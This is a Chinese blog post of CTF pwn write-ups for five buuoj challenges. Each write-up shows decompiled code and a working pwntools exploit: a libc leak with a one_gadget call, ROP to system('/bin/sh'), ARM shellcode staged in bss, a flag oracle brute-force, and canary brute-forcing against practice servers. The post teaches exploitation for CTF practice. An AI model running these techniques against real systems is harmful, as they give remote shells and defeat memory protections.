buuoj Pwn writeup 251-255

原创

yongbaoii 于 2021-09-01 08:34:15 发布 28 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/119563127

251 pwnable.kr_exploitable

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled   No PIE       No RPATH   No RUNPATH   73 Symbols    Yes     0              0            ./251
```



```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (__cdecl *v4)(int); // [esp+8h] [ebp-10h] BYREF
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  leak_memory(1, &_bss_start, 4u, 0xCAFEBABE, 0xDEADBEEF, 1, 3, 3, 7);
  __isoc99_scanf(&unk_8048630, &v4);
  v4(-559038737);
  return __readgsdword(0x14u) ^ v5;
}
```


就这么一点。

leak_memory

```
ssize_t __cdecl leak_memory(int fd, void *buf, size_t
{
  ssize_t result; // eax

  if ( a4 == 0xCAFEBABE && a5 == 0xDEADBEEF )
  {
    result = a8 + a7 + a6 + a9;
    if ( result == 14 )
      result = write(fd, buf, n);
  }
  return result;
}
```


先是泄露了bss_start里的数值，然后可以输入一个函数，执行那里的代码。

```python
from pwn import *

context.log_level='debug'

r = remote("node4.buuoj.cn", 26058)
#r = process("./251")

libc = ELF("./32/libc-2.23.so")

libc_base = u32(r.recv(4)) - libc.sym['_IO_2_1_stdout_']
print "libc_base = " + hex(libc_base)

one_gadget = libc_base + 0x3a80c

r.sendline(str(one_gadget - 0x100000000))
#因为scanf用的是%d，直接输入数字太大，会被截断成0x7fffffff，所以必须输入负数

r.interactive()
```

252 鹏城杯_2018_code

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   71 Symbols    No      0              2            .7z2
```



```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Please input your name:");
      __isoc99_scanf("%s", str);
      if ( (unsigned int)check_str() )
        break;
      puts("Wrong Input");
    }
    if ( angr_hash() == 0x53CBEB035LL )
      break;
    puts("Try Again");
  }
  puts("Welcome");
  have_fun();
  return 0;
}
```


输入的字符

必须是可见字符，然后通过加密函数。

```
__int64 angr_hash()
{
  int v1; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = 0LL;
  v1 = strlen(str);
  for ( i = 0; i < v1; ++i )
    v3 = (117 * v3 + str[i]) % 2018110700000LL;
  return v3;
}
```



```
__int64 angr_hash()
{
  int v1; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = 0LL;
  v1 = strlen(str);
  for ( i = 0; i < v1; ++i )
    v3 = (0x75 * v3 + str[i]) % 2018110700000LL;
  return v3;
}
```


输入的字符要满足迭代加起来之后等于外面那个值，然后就会进入可以利用的函数里面。

```
int have_fun()
{
  char buf[96]; // [rsp+0h] [rbp-70h] BYREF
  int v2; // [rsp+60h] [rbp-10h]

  memset(buf, 0, sizeof(buf));
  v2 = 0;
  puts("Please input your code to save");
  read(0, buf, 0x100uLL);
  return puts("Save Success");
}
```


是一个栈溢出，直接rop就可以。

所以咱先研究那个你输入点啥这个解密问题。
得写个算法。

exp

```python
from pwn import *

context(log_level='debug',arch='amd64')

r = remote("node4.buuoj.cn",25080)

elf = ELF("./252")
libc = ELF("./64/libc-2.27.so")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
have_fun=0x400801
pop_rdi_ret=0x400983
ret=0x40055e

r.sendline('wyBTs')
r.recv()

payload='a' * 0x78 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(have_fun)
r.sendline(payload)
r.recvuntil('\x0a')

puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

payload='a' * 0x78 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()
```

253 inctf2018_wARMup

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   111 Symbols   No      0              2            ./253
```


```
buf= -0x68

PUSH    {R11,LR}
ADD     R11, SP, #4
SUB     SP, SP, #0x68
UMULLSLS R9, R0, R0, R0
UMULLSLS R9, R0, R0, R0
LDR     R3, =__bss_start
LDR     R0, [R3]        ; stream
MOV     R3, #0          ; n
MOV     R2, #2          ; modes
MOV     R1, #0          ; buf
BL      setvbuf
LDR     R0, =aWelcomeToBi0sC ; "Welcome to bi0s CTF!"
BL      puts
SUB     R3, R11, #-buf
MOV     R2, #0x78 ; 'x' ; nbytes
MOV     R1, R3          ; buf
MOV     R0, #0          ; fd
BL      read
MOV     R3, #0
MOV     R0, R3
SUB     SP, R11, #4
POP     {R11,PC}
; End of function main
```


```
char buf[104]; // [sp+4h] [bp-68h] BYREF

setvbuf((FILE *)_bss_start, 0, 2, 0);
puts("Welcome to bi0s CTF!");
read(0, buf, 0x78u);
return 0;
```

显然有个栈溢出。

利用两个gadget。

```
.init:00010364                  POP     {R3,PC}
```

```
.text:00010534                  MOV     R1, R3          ; buf
.text:00010538                  MOV     R0, #0          ; fd
.text:0001053C                  BL      read
.text:00010540                  MOV     R3, #0
.text:00010544                  MOV     R0, R3
.text:00010548                  SUB     SP, R11, #4
.text:0001054C                  POP     {R11,PC}
```

arm的bss段都是可执行的。

所以迁移过去yongshellcode就可以了。

exp

```
from pwn import *

r = process(["qemu-arm","-L", "./", "./wARMup"])

elf=ELF('./wARMup')
context.log_level='debug'
context.arch='arm'

offset=0x68
#0x00010364 : pop {r3, pc}
payload=b'a'*(offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)#gadget r3   pc

r.recvuntil('Welcome to bi0s CTF!')
r.sendline(payload)
shellcode = asm(shellcraft.sh())

r.sendline(p32(elf.bss() + 4) + shellcode)
r.interactive()
```

254 jarvisoj_guess

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   96 Symbols    No      0              4            254
```



```
  while ( 1 )
  {
    printf("guess> ");
    if ( !fgets(inbuf, 4096, stdin) )
      break;
    rtrim(inbuf);
    if ( is_flag_correct(inbuf) )
      puts(
        "Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
    else
      puts("Nope.");
  }
}
```


逻辑简单。

```
  if ( strlen(flag_hex) != 100 )
  {
    v1 = strlen(flag_hex);
    printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
    exit(0);
  }
  qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
  qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
  bzero(given_flag, 0x32uLL);
  for ( i = 0; i <= 49; ++i )
  {
    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];
    if ( value1 == -1 || value2 == -1 )
    {
      puts("bad input - one of the characters you supplied was not a valid hex character!");
      exit(0);
    }
    given_flag[i] = value2 | (16 * value1);
  }
  diff = 0;
  for ( i_0 = 0; i_0 <= 49; ++i_0 )
    diff |= flag[i_0] ^ given_flag[i_0];
  return diff == 0;
}
```

```
00000B1C is_flag_correct:8 (400B1C)
```


就是转换没有检查flag_hex值是否向上越界，如果向上越界，我们可以令flag_hex[i]为'0'，而flag_hex[i+1]为offset，那么如果取到上面v4的内容，就能通过比较。

exp

```python
#coding:utf8
from pwn import *

#预先生成一个可以pass的payload
payload = ''
for i in range(50):
   payload += '0'
   payload += p8(0x100-0x40 + i)

r = remote('node3.buuoj.cn',28532)

flag = ''
for i in range(1,51):
   print "guess the index {}'s char".format(i)
   for c in range(32,128):
      pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
      r.sendlineafter('guess> ',pay)
      ans = r.recvuntil('\n')
      if 'Yaaaay!' in ans:
         flag += chr(c)
         break
   print 'flag=',flag

r.close()
```

255 picoctf_2018_buffer overflow 3

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   87 Symbols    No      0              2            
```



```
int __cdecl main(int argc, const char **argv, co
{
  __gid_t v4; // [esp+Ch] [ebp-Ch]

  setvbuf(_bss_start, 0, 2, 0);
  v4 = getegid();
  setresgid(v4, v4, v4);
  read_canary();
  vuln();
  return 0;
}
```



```
int read_canary()
{
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen("canary.txt", "r");
  if ( !stream )
  {
    puts(
      "Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fread(&global_canary, 1u, 4u, stream);
  return fclose(stream);
}
```


canary从文件读的，读到了bss。

```
  char buf[32]; // [esp+28h] [ebp-30h] BYREF
  int s1; // [esp+48h] [ebp-10h] BYREF
  int v5; // [esp+4Ch] [ebp-Ch]

  v5 = 0;
  s1 = global_canary;
  printf("How Many Bytes will You Write Into the Buffer?\n> ");
  while ( v5 <= 31 )
  {
    read(0, &v2[v5], 1u);
    if ( v2[v5] == 10 )
      break;
    ++v5;
  }
  __isoc99_sscanf(v2, "%d", &nbytes);
  printf("Input> ");
  read(0, buf, nbytes);
  if ( memcmp(&s1, &global_canary, 4u) )
  {
    puts("*** Stack Smashing Detected *** : Canary Value Corrupt!");
    exit(-1);
  }
  puts("Ok... Now Where's the Flag?");
  return fflush(_bss_start);
}
```


因为文件内容不变，直接爆破就好。

```python
#coding:utf8
from pwn import *

shell = ssh(host='node4.buuoj.cn', user='CTFMan', port=29807, password='guest')

context.log_level = "critical"
#只输出alert和emergency这两种错误等级的信息

canary = ''
for i in range(4):
   for c in range(0xFF):
      r = shell.process('./vuln')
      r.sendlineafter('>','-1')
      payload = 'a'*0x20 + canary + p8(c)
      r.sendafter('Input>',payload)
      r.recv(1)
      ans = sh.recv()
      if 'Canary Value Corrupt!' not in ans:
         print 'success guess the index({}),value({})'.format(i,c)
         canary += p8(c)
         break
      else:
         print 'try to guess  the index({}) value'.format(i)
      r.close()

print 'canary=',canary
payload = 'a'*0x20 + canary + p32(0)*4 + p32(0x080486EB)
r = shell.process('./vuln')
r.sendlineafter('>','-1')
r.sendafter('Input>',payload)

r.interactive()
```